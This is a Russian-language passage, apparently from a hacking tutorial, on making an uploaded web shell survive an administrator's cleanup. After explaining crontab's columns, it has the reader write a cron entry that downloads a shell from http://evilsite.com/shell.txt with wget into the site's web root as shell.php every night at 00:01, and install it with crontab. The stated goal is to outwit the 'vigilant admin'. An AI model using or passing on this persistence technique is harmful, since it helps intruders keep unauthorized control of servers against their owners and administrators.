При возникновении этой проблемы можно
немного усложнить жизнь бдящему админу, особенно если он не до
конца догоняет принципы *nix-архитектуры. Естественно, при этом
мы будем заливать шелл не вручную, а автоматически. Как? Очень
просто — с помощью набора cron и команды crontab. Как гласит моя
давняя подруга, wikipedia.org: cron — демон-планировщик задач в
UNIX-подобных операционных системах, использующийся для
периодического выполнения заданий в заданное время.
1. Для
начала разберем структуру команды crontab. Таблица crontab
состоит из 6 колонок, разделяемых пробелами или табуляторами.
Первые пять колонок задают время выполнения (Минута, Час, День,
Месяц, День недели), в них может находиться число, список чисел,
разделенных запятыми, диапазон чисел, разделенных тире, или
символ ‘*’.
Все остальные символы в строке интерпретируются как выполняемая
команда с ее параметрами.
2. Вероятно, на сервере нет поддержки псевдотерминала,
поэтому создадим временный файл /tmp/cmd со следующим
содержимым:
SHELL=/bin/bash 1 0 * * * wget
http://evilsite.com/shell.txt -O /home/user/www/shell.php
3. Запускаем команду crontab /tmp/cmd.
4. Радуемся, ведь теперь в директории /var/spool/cron (может
меняться в зависимости от системы) будет создан файл с именем
пользователя, который будет каждый день, в 00 часов 01 минуту
запускать команду wget, для скачивания нашего шелла.